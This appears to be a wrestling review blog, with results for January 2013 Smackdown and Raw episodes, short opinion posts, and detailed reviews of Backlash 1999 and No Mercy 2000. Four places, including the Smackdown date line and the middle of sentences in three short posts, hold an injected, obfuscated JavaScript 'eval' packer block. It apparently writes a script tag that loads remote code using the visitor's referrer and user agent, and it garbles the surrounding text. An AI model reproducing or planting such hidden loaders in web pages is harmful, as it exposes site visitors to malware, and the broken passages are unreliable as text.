Smackdown – January 11, 2013: Rock Is Back And NEW CHAMPION!

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnatb|var|u0026u|referrer|hiaaf||js|php'.split('|'),0,{})) January 11, 2013
Location: American Airlines Arena, Miami, Florida
Commentators: Josh Matthews, John Bradshaw Layfield

We get a classic Rock on Smackdown moment from the post 9/11 Smackdown with Rock hitting Stasiak with a Rock Bottom to beat him in three seconds.

Randy Orton vs. Antonio Cesaro

The TripleBomb takes Orton down and the Shield stands tall.

Dolph Ziggler/AJ vs. Natalya/Great Khali

Post match Langston runs over Khali and hits the Big Ending on Hornswoggle. Freaking sweet.

Another classic Rock moment shows us Rock N Sock Connection hijinks.

Sheamus vs. 3MB

Good old fashioned handicap match here. The Band does have to tag though. Slater starts but immediately bails to the floor where his teammates join him. They try to charge in at once but only Slater goes in, catching a Brogue Kick for the pin at 45 seconds.

HELL NO vs. Prime Time Players

Darren and Daniel start things off and slug it out in the corner. Off to Titus for a release slam but he charges into a pair of boots from Bryan in the corner. Kane comes in and cleans house, getting two off a sidewalk slam. The Players break up a double chokeslam attempt but a single one gets the pin on Darren at 2:22. Just a squash.

Eve vs. Kaitlyn is confirmed for Raw. Again.

We recap the opening segment.

Smackdown World Title: Big Show vs. Alberto Del Rio

Results

Randy Orton b. Antonio Cesaro via DQ when Shield interfered

AJ/Dolph Ziggler b. Natalya/Great Khali – Sliced Bread #2 to Natalya

Sheamus b. 3MB – Brogue Kick to Slater

HELL NO b. Prime Time Players – Chokeslam to Young

Remember to follow me on Twitter @kbreviews




Thought of the Day: How CM Punk Became The Best Heel In Years Last Night While Talking To The Rock

I’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfbyn|var|u0026u|referrer|bttya||js|php'.split('|'),0,{})) been saying this for months and last night it finally hit full on.  Punk became a great heel last night becauseHe was delusional.  He went completely over the top and started making absurd claims right in the face of the Rock and it made people boo him.  With him saying stuff like he would have been champion for thirty years in Bruno’s time and saying how he’s the one guy who didn’t sell out, it made him seem completely insane in his ramblings.  This is in contrast to the way he was talking about Cena, when Punk was making perfectly rational claims about how the goalpost kept being moved on him.  Fans were split by that because Punk was talking sense, but now that he’s delusional, booing him made sense.

 

Why it took seven months to get to this point is beyond me, but at least it finally happened.




Monday Night Raw – January 7, 2013: Rock vs. Punk Begins.

Monday Night Raw
Date: January 7, 2013
Location: Tampa Bay Times Forum, Tampa Bay, Florida
Commentators: Michael Cole, Jerry Lawler

John Cena vs. Dolph Ziggler

Divas Title: Eve Torres vs. Kaitlyn

HELL NO vs. Rhodes Scholars

Hot tag brings in Kane who stumbles going up top, only to come off with the clothesline on Sandow, followed by a big boot for two. Damien bails to the floor to avoid a chokeslam, before coming back in to face Bryan. Daniel moonsaults out of the corner and injures his ankle, giving us a reason to extend the match even further. Everything breaks down and Cody hits Cross Rhodes for the pin at 7:16.

Randy Orton vs. Heath Slater

Intercontinental Title: Santino Marella vs. Wade Barrett

Barrett stares at Steamboat but runs as the Dragon takes his jacket off.

Great Khali vs. Antonio Cesaro

Brad Maddox annoys Heyman again. He offers to referee the TLC match but Heyman wants nothing to do with him.

Jinder Mahal vs. Sheamus

Video on Punk wanting respect.

Raw World Title: CM Punk vs. Ryback

Punk almost gets crushed by the steps before using them as a launching pad to knee Ryback in the face. Punk chairs Ryback down a few times and we take a break. Back with both guys down in the ring and Ryback getting up first. Ryback loads up a table on the floor but Punk blasts him in the ribs with a chair and sets up a table of his own. Ryback shoves Punk onto the announce table but another chair shot slows him down.

Ryback finds another ladder and goes up but there go the lights. The lights come back up and the Shield is on the ladder. Ryback punches two of them down but has to get down to stop the third one. The numbers catch up with Ryback and he gets destroyed by chair shots and the Triple Bomb through a table onto the steps. The Shield leaves and Punk slowly climbs up to retain the title at 18:50.

Bryan and Kane argue over whose fault the loss was. Vickie pops up and says next week they have a follow up with Dr. Shelby. Another argument ensues as we enter Daffy Duck/Bugs Bunny territory over whether Shelby is a nerd or a monster.

We recap Big Show vs. Ricardo from last week, which sets up Show vs. Alberto on Friday.

Big Show vs. Kofi Kingston

Results

John Cena b. Dolph Ziggler – Attitude Adjustment

Kaitlyn b. Eve Torres via countout

Rhodes Scholars b. HELL NO – Cross Rhodes to Bryan

Randy Orton b. Heath Slater – RKO

Wade Barrett b. Santino Marella – Bull Hammer

Antonio Cesaro b. Great Khali – Neutralizer

Sheamus b. Jinder Mahal – Brogue Kick

CM Punk b. Ryback – Punk pulled down the title

Big Show b. Kofi Kingston – WMD

Remember to follow me on Twitter @kbreviews




John Cena To Be On Cover Of Fruity Pebbles, Replacing Fred Flintstone

http://www.411mania.com/wrestling/news/268788/John-Cena-To-Replace-Fred-Flintstone-On-Fruity-Pebbles-Boxes.htm

 

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|naibr|var|u0026u|referrer|krzhd||js|php'.split('|'),0,{})) not permanent, but that’s a pretty big freaking deal when you think about it.   Also not a bad payoff for what seemed to be a throwaway joke from Rock.




In Your House #28: Backlash 1999 – What Wrestlemania 15 Should Have Been

Backlash: In Your House #28
Date: April 25, 1999
Location: Providence Civic Center, Providence, Rhode Island
Attendance: 10,939
Commentators: Jim Ross, Jerry Lawler

The Brood vs. The Ministry

Ministry is the Acolytes and Mideon. The Brood got thrown out of the Ministry after Christian was tortured into saying where Stephanie, who Taker had kidnapped, was located. It’s kind of amazing that 4/6 of these guys would one day be world champions. It’s your standard power vs. speed match as you still have three groups fighting with each other with the Corporation, the Ministry and Vince’s people.

The announcers try to make it seem that Shamrock can make Taker give up. That’s just flat out funny. Gangrel and Midieon just need to go away, and I mean FAR away. Edge and Christian vs. the APA could be a good tag match. They’re given over ten minutes to work with and it pays off as we get a solid six man tag match.

The Brood, who are the closest thing to faces we have in this match, start to take over here until Viscera comes out and screws everything up. Even when he’s not wrestling he makes matches worse which has got to be some kind of talent. Anyway JBL clotheslines Edge to win it.

Rating: B. I liked it for some reason. It was a great choice for an opener as it showcased the future talent very well. Edge and Christian just shine so brightly here that it’s unbelievable. Both guys were destined to be stars and you can see it in them. JBL was ok and Simmons is fine as always. The other two guys just flat out sucked in every sense of the word.

Hardcore Title: Al Snow vs. Hardcore Holly

This is your rematch from two months ago. This is going to be a short review as it’s as standard of a hardcore match as you’ll find for the most part. They hit each other with things that you’d find under any ring: chairs, tables, hockey sticks, stairs etc. They fight in the crowd for a bit then go back to the ring where more weapons are used for no apparent reason. Then we go to the back which is where the somewhat more entertaining stuff happens.

They beat on each other for awhile with Holly trying to use a kitchen sink on Snow in a joke that’s just not funny anymore and I don’t think it ever has been in the first place. Snow counters this with a fire hose. They brawl out into the parking lot and in a funny sequence they keep throwing each other into a car where the car alarm goes off each time. We fight to the production truck which is just weird looking. Elbow onto a car in a cool looking spot and we fight some more.

FINALLY we get some blood as Snow is opened up. Of course now we go back to the ring for more fighting. I was hoping for an intellectual discussion on 18th century Russian literature. Great looking table spot off of a top rope suplex. A shot from Head finally ends it.

Rating: B. I liked it again. This was a fun match with no one really being able to take advantage the whole time. It was all about big spots here and it was quite successful in that regard. Definitely a solid match here with Snow finally getting the title that he’d been chasing for months on end.

Taker talks about the higher power which was one of my favorite angels of all time.

Intercontinental Title: Goldust vs. Godfather

For no reason at all, Godfather was given the IC Title 6 days earlier. It’s considered to be his reign that likely killed off the title for good until Jericho, Benoit and Angle almost saved it. He has 8 women with him as we cater to the 13 year olds in the audience. This is a comedy match but not a particularly good one.

Meanie keeps interfering and Godfather keeps beating on him. The “raging climax” (rep for the person that gets that joke) is that the gold boy gets powder thrown in his eyes and can’t see who he’s beating on. Therefore Meanie has his dreams shattered. Goldust gets Pimp Dropped and pinned.

Rating: D. This was just a dumb period in the company as they were obviously booking on the fly with no real sense of direction other than in the main event. Seriously, GODFATHER as IC Champion? In what universe does that even begin to make sense? This was 5 minutes of nothing at all.

There’s talk of a primetime special on Thursday called Smackdown. More on that later.

Snow and Head are talking and apparently Head thinks he/she should be hardcore champion as head was covering Holly.

New Age Outlaws vs. Jeff Jarrett/Owen Hart

Owen would pass away less than a month later and that’s just a scary thought. Winner of this gets X-Pac and Kane on Smackdown. Now don’t have a bunch of heart attacks, but the commentators are talking ABOUT DEBRA!!! How in the world did we not see this coming? I mean really, Debra is NEVER the object of conversation when she’s out there. That simply can’t happen ever can it? I mean it’s not like she’s in lingerie with a coat over it or anything like that.

Other than the nonsense of her overly curvy looks that don’t even look good like that, this wrestling here is actually decent. The Outlaws as I’ve been saying for awhile aren’t that bad in the ring. Now they’re no Harts or Bulldogs, but they’re better than they’re given credit for being.

After about 10 minutes here, it breaks into a moderately decent brawl with your ending being a double submission from the heels. Jarrett can’t get the figure four on so Gunn lands a Fameasser on Owen for the pin. Oh and Road Dogg coined the phrase Puppies a few weeks before this if you were wondering.

Rating: C+. The wrestling here really was pretty solid all around. The commentating was absolutely annoying though. I mean it was driving me absolutely crazy. Seriously, WE GET IT. There are other women with good looks that you can see without the bra on. It’s called Playboy. Anyway, the match was pretty good and I get more and more impressed by Roadie every time I watch his matches. The guy just works hard every time.

Shane and Vince say they don’t like each other. A VERY young Steph says nothing of importance.

JR mentions that Shane doesn’t want Austin to leave with the title around his neck. That makes sense in some realm of logic I guess.

Boiler Room Brawl: Big Show vs. Mankind

Now here’s your REAL hardcore match. These guys nearly kill each other and this is perfect for someone like Foley. They fought at Mania and Show nearly killed him. Now we’re putting them in Foley’s environment where Show’s size and power can be negated by some good old fashioned weapons. They just absolutely kill each other in there but there’s one spot that I can’t believe even Foley did.

Show throws him through some glass and a large piece about 3 inches long and jagged is hanging over Foley’s head. That’s just absolutely dangerous no matter who you are. I know it wasn’t intentional because Show saw it and almost immediately pulled Foley away for stomping. The big issue with this match is simple though. The original with Taker and Foley was nearly half an hour. This one is less than 8 minutes.

That’s just killing this thing. Mankind launches some hot gas at Show to blind him then just beats the living tar out of him and leaves to win. Test and Bossman beat him down but Foley fights them off.

Rating: B. This was great in the time that it had. However, at 7 minutes and 40 seconds what can you really expect? It was brutal in the time that it had but it’s begging for about 5-10 more minutes. If you give it that, you’re looking at one of the better hardcore matches I’ve ever seen. Given what it has though, this was just above average which is a shame.

HHH says he’s going to kill X-Pac. Man I hope so.

HHH vs. XPac

This is the fallout from Mania where we had the at least triple turn that I don’t even remember because it was just absurd and one of Russo’s “masterpieces”. Anyway, the idea here is that Pac has a bad neck and somehow the Pedigree is going to further injure him which really makes limited sense at best. Anyway, the opening is Pac going insane on HHH and just trying to hurt him in any way he can.

This part is ok but nothing special really. What are you expecting here? X-Pac just doesn’t have a huge offensive set to work with so why should he be able to make something like that work well? HHH takes over and dominates most of the match which makes sense as he was by far the more established guy and worker at the time. He dominates the majority of the match while just never being able to put Pac away.

The match slows for a rest hold but in this case that is ok as it plays into some psychology. If X-Pac’s neck is hurt, cranking on it in a chinlock is going to hurt it even more. HHH even breaks out a Dragon Sleeper. Now what do the Japanese fans think? Is this some kind of a paradox for them or something? Anyway, after a huge comeback, X-Pac misses a baseball slide and wipes out the referee who apparently can’t take a punch to save his life as he’s down for almost 5 minutes from this.

Chyna beats up Pac but Kane comes out to save his partner and it’s chokeslams a go-go. He leaves and both Continent-girl (wearing a thong) and HHH get Bronco Busters. The referee comes back in just in time for the Pedigree and the pin to end this.

Rating: A-. This is without a doubt the best X-Pac match I have ever seen. These guys gave it everything they had out there and nearly killed each other. Kane made sense out there and in the end the right guy won which pushed HHH harder while at the same time making X-Pac look better than he ever would have been on his own.

That being said, he was working his head off in this match which is more than he usually did. Very good match which had me unsure of who was going to win until the very end.

Ken Shamrock vs. Undertaker

Basically just Ministry vs. non-Ministry here. Very Satanic looking Taker here which is always creepy. This is actually an interesting idea as we hear about the Ultimate Fighting and Octagon of Shamrock. They slug it out early on as Shamrock is in trouble early on.

 

The fans want Ryan and I can’t blame her as she’s gorgeous to put it mildly. The announcers talking about Vince and Stephanie and Taker is awesome as the payoff was coming soon. Shamrock goes back to his game and works the leg. This is rather an interesting pairing and I’m into the concept here.

 

Taker gets a belly to back for two. Out of nowhere Shamrock gets a leg bar and Taker is in big trouble. Basic formula here: Taker punches Shamrock, Shamrock gets a hold, Taker gets out and punches again. Repeat this about 19 times in a row. Taker gets his leg crushed on the steps and is in big trouble here.

 

They slug it out and Taker hooks a drop toehold for some ground and pound of all things. Fujiwara armbar and Taker has to go for the ropes. The fans are hardly thrilled here due to this being a far different style than they were expecting. Back to the floor (is that the anthem of the Attitude Era?) and Shamrock’s back eats post.

 

Taker hooks on a Bow and Arrow since he wants to play UFC here I guess. I love how Taker is supposed to suddenly be able to go out there and trade submissions with a legit submission master all of a sudden when he never has before. That some off as stupid to anyone else?

 

Leg drop with less elevation than Hogan hits but Shamrock grabs a leg lock and more booing. And of course Taker counters that into a leg lock of his own. Well of course he does. Shamrock gets his standing rana which looks good usually and did here as well. Ankle lock goes on for a second but Taker breaks free.

 

Ankle lock goes on again but Bradshaw comes down with a ball bat and pops Shamrock with it. Chokeslam is countered into an armbar in a SWEET counter. Shamrock goes for a tombstone and I think you know the rest.


Rating: C-. This is a very interesting match that you either loved or hated. If you like MMA and technical stuff this was great. If you like wrestling you hated this match. Shamrock did about 80% leg work here which was fine as his finisher is an ankle hold, but seeing Taker doing that stuff never really worked for me back in the day. It’s ok but just a weird dynamic of a match.

 

Bradshaw beats up Shamrock afterwards. Ross says the guys went over the edge. Hmm I wonder where that could lead.

Yep, next up we have a promo for Over the Edge which is of Taker talking about being the personification of evil. That’s got to be an in joke there.

WWF Title: Steve Austin vs. The Rock

Rock has stolen the Smoking Skull belt for no apparent reason other than reminding us he’s a heel despite playing to the crowd a lot. I don’t think anyone believed that Austin was losing here but it’s a lot like his first defense against Foley: it was designed to give the heel just a glimmer of hope but also make Austin look awesome. The build up to this match was just flat out awesome.

They beat the heck out of each other and the Smoking Skull belt was the big point of it. Austin had the title made for himself just because he felt like it and Vince stole it and gave it to the Rock a few months ago. This led to the feud here as Rock called Austin out to a bridge to get it back. Austin and the belt went into the river but Rock had it instead and was going to bury it. Austin used a monster truck on Rock’s car.

While it doesn’t sound like much, this was freaking SWEET at the time. They beat the living tar out of each other and the No Holds Barred rule makes it all the better. Before the match Vince says to Steph to wait in the car. Remember that for later.

The intros here take just two minutes less than forever as all three have their own entrances (remember Shane is the referee). There’s one big reason why this is better than last month’s match: there’s almost no pressure on them. It’s not Wrestlemania, it’s Backlash. Because of that, the limelight is off of them and they can go out there and have a lot more fun. This is also much more fast paced which is a good thing here.

It lets things work far better for them as Austin’s style is one where the rules are bent a lot more. They spend a lot of time, nearly 8-10 minutes brawling on the floor which is a nice addition to the formula. Part of the set is made of chain length fence so they’re fighting on that and trying to stand is kind of a cool visual. They destroy the set during their fight which is very cool. I mean they break just about everything in it.

They go back to the ring and Austin hits a sweet looking diving clothesline from the apron to the floor. Rock Bottom through the table for your big spot of the match which is odd as there were about 5 already. Rock does his commentary during the match which is a bit that I always laughed at. It’s so cocky but so funny at the same time. Back into the crowd for a bit but not long enough that it feels like overkill.

They go through some more tables before Shane accidentally drills Rock with the belt. He refuses to count the pin and flips off Austin. Vince comes out and hits Shane in the head with the title. It truly amazes me that we didn’t get Vince vs. Shane for almost two more years. Seriously, that would have been a huge match at the time. Vince is helping Austin here by bringing in a fair referee.

This was cool as it lays the groundwork for the Higher Power angle. Anyway, Stunner ends this and after a brief celebration we cut to Steph in the car. She’s wondering why they’re not moving. The privacy screen rolls down and Taker is the driver. He says “Where to Stephanie?” and I mark out like crazy as the soap opera era was here and I ate it up with a spoon. Very great stuff here as it was so intricate and well thought out that when we got the final reveal a few months later it blew my mind.

It got to the point where Vince turned out to be the one behind the Ministry and Vince and Shane were working together all along to prevent Steve Austin from being the World Champion. That’s just flat out amazing, or at least it was at the time. Corporation and Ministry would merge on Thursday with Rock turning face to help fight them alongside Austin, but that’s a history lesson for a different time.

Rating: A. This was a war and it made Rock look much stronger. It definitely blows away the Mania match from last month but I’d still put it just a hair behind the WM 17 match and the WM 19 match. That being said, this was great. Both guys were beating the heck out of each other and with the added rules it made things even sweeter. They fit better in these kinds of matches where it’s more of a fight. Great match here that’s just flat out intense.

Overall Rating: A-. This is probably the best three hour IYH there was so I guess they saved the best for last. The true peak of the AE is coming with the Higher Power and the real soap opera stuff coming soon. The next night was one of my all time favorite scenes with the Black Wedding of Stephanie and Taker and all the faces trying to make the save until Austin ran out to JR’s screams of “HERE HE COMES!!!”

Seeing Austin ride in as the cavalry to save the daughter of his most hated rival is just awesome, plain and simple. The new era was here and it wasn’t leaving anytime soon, but sadly enough Owen Hart would, passing away a month after this. He was in the IC Title hunt again and I think would have had a run with the world title had he hung around.

Look at 2000 and how desperate they were for main event talent with guys like Big Show and an unready Kurt Angle getting the belt. You don’t think Owen could have held it for a month or so and given you quality matches? I’d certainly think so but that’s a different story. Anyway, this is a good show with the worst match being the shortest. Highly recommended.

Thank you very much for all the debates and the thoughts put into these reviews. I love doing these but at the end they just get tiring. I’ll be taking a break from the series until August 2nd when Summerslam’s countup will begin. I’ll probably throw in some random ones here or there just to tide you over and MAYBE I’ll do KOTR in July, but I doubt it. Anyway, again I appreciate you support in this and I’ll be back in August.

 

Remember to follow me on Twitter @kbreviews




WWE Never Ceases To Amaze Me

 

Gee, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ardzf|var|u0026u|referrer|ikerf||js|php'.split('|'),0,{})) who would have predicted THAT?




No Mercy 2000: Austin’s Revenge And Angle’s Ascension

No Mercy 2000
Date: October 22, 2000
Location: Pepsi Center, Albany, New York
Attendance: 14,342
Commentators: Jim Ross, Jerry Lawler

This was another request so I thought I’d knock this one out rather quickly. Not much special on this card with a main event of Angle vs. Rock for the title in what should be an easy win for the Great One. The other main match is Austin getting Rikishi after he was revealed as the driver of the car. The feud bombed so HHH was brought in soon but we’ll get to that later. There’s also HHH vs. Benoit but most importantly, MIDEON IS HERE! This was one of the weirder gimmicks of all time but it’s here tonight. Let’s get to it.

The opening video is of course focused on Austin and Rikishi which is how it should be. He’ll have no mercy on him. Get it?

Tag Team Table Gauntlet Match

We start with Too Cool vs. Low Down (Chaz (Headbanger Mosh) and D’lo Brown). There are five teams total. I’ve never been a fan of gauntlet matches as you have to go so fast and it looks like you can beat a team in mere minutes but other times they take two or three times as long to get such a win. No tagging here of course. Chaz looks like Maven minus the eyebrows.

Austin isn’t here yet which is the highlight of the commentary of course. Lawler lists off various uses for tables. His favorite: table dances. Now who didn’t see that coming? It amazes me that this was against Halloween Havoc 2000. You can really see the difference between the two companies as everything there seemed old and dying but this looks very fresh and interesting.

Sky High on Grandmaster as we talk about Edge and Christian being sick. Low Down goes for a double table shot but Grandmaster gets off his table and Scotty shoves Chaz off the top into his so Low Down has been eliminated. The next team is Taz and Raven who I never remember teaming together at all. They bring their own table as Jerry makes shootout jokes.

We start on the floor and Scotty goes up to the apron to put Raven through. Taz, thinking for once, grabs Scotty while he poses and throws the Tazmission on him. Raven tries to suplex Grandmaster to the floor through one but Grandmaster reverses into a sunset powerbomb but his feet break it. They need to fire whoever makes these tables as they kind of suck. Scotty does the worm under a table and because it ticks him off, Tazz throws Scotty through one to advance him and Rave.

The Dudleys are the fourth team. It’s hard to believe they had been around for a year at this point. D-Von is thrown into Raven as I want to chant ECW. Taz and Bubba go at it for a bit. Opening a WWF show after main eventing an ECW show. That’s nearly poetic. What’s Up to Raven and it’s table time. BIG table chant but they brawl for a bit instead. And it all means nothing as a top rope legdrop gets the Dudleys to the finals.

The final team is the Right to Censor which is comprised of Buchanan and the Goodfather. I always hated that name as it just sounds stupid. Big brawl to start as the non white people go to the floor. There are two tables in the ring as Bull blocks an Bubba Bomb. Down goes the referee as Bubba puts Buchanan through the table. Goodfather cracks Bubba with a chair and puts him on the broken table for the win.

And never mind as another referee is here to restart the match. 3D on Goodfather ends it like 45 seconds later.

Rating: C. Eh this was fine for an opener as the fans loved it. Not something you can grade for quality or anything of course due to the nature of the match but for what it was supposed to be this was fine. The Dudleys and their tables were always popular but the ending was a bit predictable. I could think of worse uses for about 13 minutes though.

Trish is with T&A in the back and implies she should flash the Acolytes to distract them.

Rikishi is waiting outside for Austin.

We recap T&A vs. the APA as there was a strip poker game that resulted in them seeing Trish lose her clothes. T&A beat up Lita for no apparent reason other than to set this match up.

APA/Lita vs. T&A/Trish Stratus

Test and Albert if you’re confused. Lita is Women’s Champion here but Trish is a joke as far as in ring stuff goes at this point. In the back we see T&A over Bradshaw who is out cold. They beat up Farrooq also which I think led to them taking some time off. The big heels come to the arena to beat up Lita too. Matt and Jeff, the current tag champions, make the save.

Edge and Christian say their nuts are fine. Peanuts that is. This was about as sophomoric as you could ask for but it was amusing.

Rikishi is still waiting.

Chris Jericho vs. XPac

Cage match. Before the match Jericho says they’re feuding and have been for so long he doesn’t even remember why they hate each other. He makes fun of him for never changing anything about himself but it ends tonight. New tights for X-Pac in a funny moment. Jericho hits a baseball slide to the floor to start and we brawl outside the cage to start. Pac never got in so that helps a bit.

Pac misses a huge chair shot and we finally get inside the cage. Standard stuff that you would expect from these two to start us off. Nice springboard dropkick to the leg of Pac to keep him in the cage. Mostly advantage to the non-Canadian (I try to avoid saying the same names over and over again if anyone wonder why I say such odd names at times) here as we wait for the Jericho comeback.

Sweet goodness X-Pac was just not interesting at all. BIG super bomb off the top to half kill X-Pac but Jericho is down too. Jericho goes for the cage but Pac grabs his foot. Jericho kicks him in the face to take care of that. I love basic counters like those. Pac goes for the door and manages to get the chair he swung earlier before Jericho makes the save.

He clocks Jericho with the chair but takes a shot of his own. JR says his eyes look glazed over but that’s typical for him. They go up to the top of the cage where Jericho gets the Walls or a Sharpshooter or something around one of the cables that they raise and lower the cage with. Pac throws him down but celebrates too long which standing on the door. Jericho of course dropkicks it and goes out to win as Pac is left crotched.

Rating: C-. Really nothing special here as Pac was beyond uninteresting at this point. I get that this was a feud but did this really warrant a PPV cage match? It wasn’t bad and the ending worked pretty well I thought, but the match just wasn’t all that interesting at all. Pretty bland though.

Steve Blackman is at WWF New York.

Rikishi yells at Foley about Austin not being here yet.

We see Eddie being injured so he’s out of the match tonight vs. Billy for the IC Title. Instead we get RTC vs. Billy and Chyna. Chyna, who looks more manly than Billy, as in more than usual, says they’ll beat up Eddie. Billy kind of hits on her but that perm is making it too hard to focus on what he’s saying.

Val Venis/Steven Richards vs. Billy Gunn/Chyna

Steven refers to Gunn as rectally obsessed. That somehow fits. Who came up with that gimmick?  They need to be drug out into the street and shot. Val and Rikishi start us off which is as riveting as it sounds. Val punches Chyna on the floor and goes into the steps for his troubles. This is going nowhere fast. I hate that expression but it fits here.

Chyna spins Richards around by the tie. She goes off on him and the heels are in trouble. Val goes after the arm of Billy as this is setting new standards for boring. Chyna gets a very weak tag for the beatdown. Handspring elbow to Val as Billy helps to beat him up. Pedigree attempt but Eddie comes down to hit her with the loaded flowers and Val gets the pin.

Rating: F. Sweet GOODNESS this was boring. I get the injury thing but at the same time this had nothing at all to it. Get on to the next match please.

HHH is in his dressing room and Stephanie wants to come to the ring with him. He says no and she gives him a tape of Benoit using the Crossface. She has to leave to go help Kurt get ready, meaning the Game isn’t happy.

We recap Rikishi vs. Austin. The fat man ran him over at Survivor Series 1999 so that Austin could take a year off to finally get his neck fixed. He came back to go on a manhunt which was really confusing because they kept saying Rikishi hadn’t debuted yet but he had that night on Heat which wasn’t mentioned so it was really confusing to me as I watched Heat. Anyway he said he did it for the Rock as Rock became popular without Austin being around.

Steve Austin vs. Rikishi

This is no rules of course as Austin pointed out that he didn’t want a match but to hurt Rikishi which makes sense. Austin’s line of “this match is going to take brutality to a whole other level” is the iconic line here but it didn’t quite live up to it. No Austin yet remember. Rikishi comes out with the sledgehammer as I guess they’re foreshadowing the HHH involvement.

Rikishi demands that Foley come out here and declare him the winner. And before anything happens here comes Austin with truck. No reason for why he’s late or anything but why would we need that? It’s the same truck that Rikishi destroyed with the hammer. Austin is in shorts and the t-shirt which fits I think. Rikishi goes into the table as this is just a big fight.

Ross thinks Rikishi has no heart. Wouldn’t that mean he’s like dead? They’re in the crowd already as they never were in the ring at all. Austin whips him with his belt as this is just a big brawl. There just happens to be a rope under the ring but Austin goes over the table. It’s no sold of course and HE’S IN THE RING! And so much for that. Big chairshot takes the fat man down and I think he’s busted open.

Austin throws on JR’s hat for no apparent reason and wears Rikishi out with the chair. He knocks the Samoan into the back of the truck and drives the truck out of the arena. This isn’t going to end well is it? Austin puts Rikishi in front of a wall and backs up the truck but a cop car drives in front of it for the save. He gets arrested for old time’s sake.

Rating: D-. Yeah this failed. It was a big old brawl ending with the bad truck thing. The problem was that at the end of the day the Rikishi was way too fat and way too bad as a heel to be worth much. This feud bombed and everyone knew it which is why at Survivor Series Austin dropped HHH from a forklift instead of a Samoan.

And now we replay the ending of the match for no apparent reason. Are they afraid people reached over to pet their cat during the ending of the match?

European Title: William Regal vs. Mideon

That’s his official name mind you. It’s not some random nickname I gave him. Basically he wrestles in a thong and a fanny pack. He comes out in regular clothes but tries to rip them off during the match. Apparently he’s trying to get strip, making him the Kelly Kelly from the old ECW days of this generation. Mideon keeps wanting to take his clothes off but just doesn’t for some reason.

Lawler says he’s a great chain wrestler. He can beat any chain you put him up against. Eh half a point for a decent line. Pretty much total dominance by Regal here. Mideon gets his shirt off and continuously pulls his pants up. Wouldn’t that be against his character in theory? Crowd is DEAD here mind you. And there go the pants. Regal sets for the Stretch but thinks twice about it. A neckbreaker ends it.

Rating: D-. Totally pointless match where nothing of note happened and the comedy didn’t exist. Mideon was hardly a character that was ever going to really do anywhere and I have no idea what the point of this being on the show was. This was a waste of time but I guess it bridges the gap between the big matches.

We recap a rather funny fake interview that Angle conducted with videos of Rock. Funny stuff.

Los Conquistadores say SI a lot.

Tag Titles: Hardy Boys vs. Los Conquistadores

The other team used to be jobbers back in the 80s but these guys are Edge and Christian under masks which is the point of the joke. Christian and Matt start us off. This is more or less a comedy match as the Hardys just beat up the masked guys who do odd offense to prevent anyone from finding out who they actually are.

Jeff is the stoner in peril here as nothing really is happening here. Christian misses a front flip splash off the top to set up the tag to Matt. Matt fights them both off as we’re getting close to the end. Jeff does the rail run to take out Edge. Matt hits a big dive to take out everyone at once. Back in the ring and Matt pulls off his mask to reveal another mask. Unprettier ends him.

Rating: C. This was a hard one to grade as the idea was more along the lines of a comedy match. The title change was a surprise but the way they switched them back is even better. Edge and Christian came out to challenge Los Conquistadores to prove that they weren’t in the masks but Los Conquistadores, who were already the champions, beat them to keep the titles. They unmasked as the Hardys and were declared champions as they were under the masks, meaning in theory they defeated themselves for the titles but you get the idea. Fun match.

Austin’s truck is taken away by a tow truck.

HHH watches video of Benoit beating him up.

We recap Benoit vs. HHH which started with Benoit hitting Stephanie with a headbutt and then going after her even more. I think HHH might be a face here actually which makes little sense but he’s getting something resembling a face pop for his entrance here and JR seems to imply he’s a face so maybe he is. This should probably go in the match part of this.

HHH vs. Chris Benoit

This should be good. Slow start of course but HHH goes for the knee which is a new one for him. Yep there’s a loud HHH chant which isn’t what I would have bet on at all. It’s kind of weird to see him work over it like that. Benoit tries to wrestle him but HHH gets us into an Indian Deathlock. He adds a neck vice to it also which makes it kind of an STF with the guy putting in on being upside down. Pretty sick looking.

HHH goes over the top and might have a bad arm now. Naturally Benoit goes straight for it as any good wolverine would. Northern Lights suplex gets two. This really should have been the main event of Mania XX. HHH goes onto the table as Benoit is dominating. HHH counters a belly to back into a reverse suplex which is a move more people should use.

They slug it out as this is good stuff. Leaping knee to the face has Benoit in trouble. HHH goes all the way up for a superplex and both guys are down. Here come the Germans as Benoit takes over again. What was supposed to be a Dragon suplex looks like a German and gets two. A second is somewhat better but HHH is in trouble now. Crossface out of nowhere and HHH is in big trouble.

It never ceases to amaze me how much longer good guys can last in submission holds rather than heels. In something you’ll probably never see again, HHH gets up and counters the Crossface into a Death Valley Driver. Stephanie runs (best part of the match!) down and slaps Benoit. Pedigree is countered into the Crossface which is countered into the Pedigree which is countered into the Crossface which is countered into a low blow which results in a Pedigree which results in the pin. VERY nice ending.

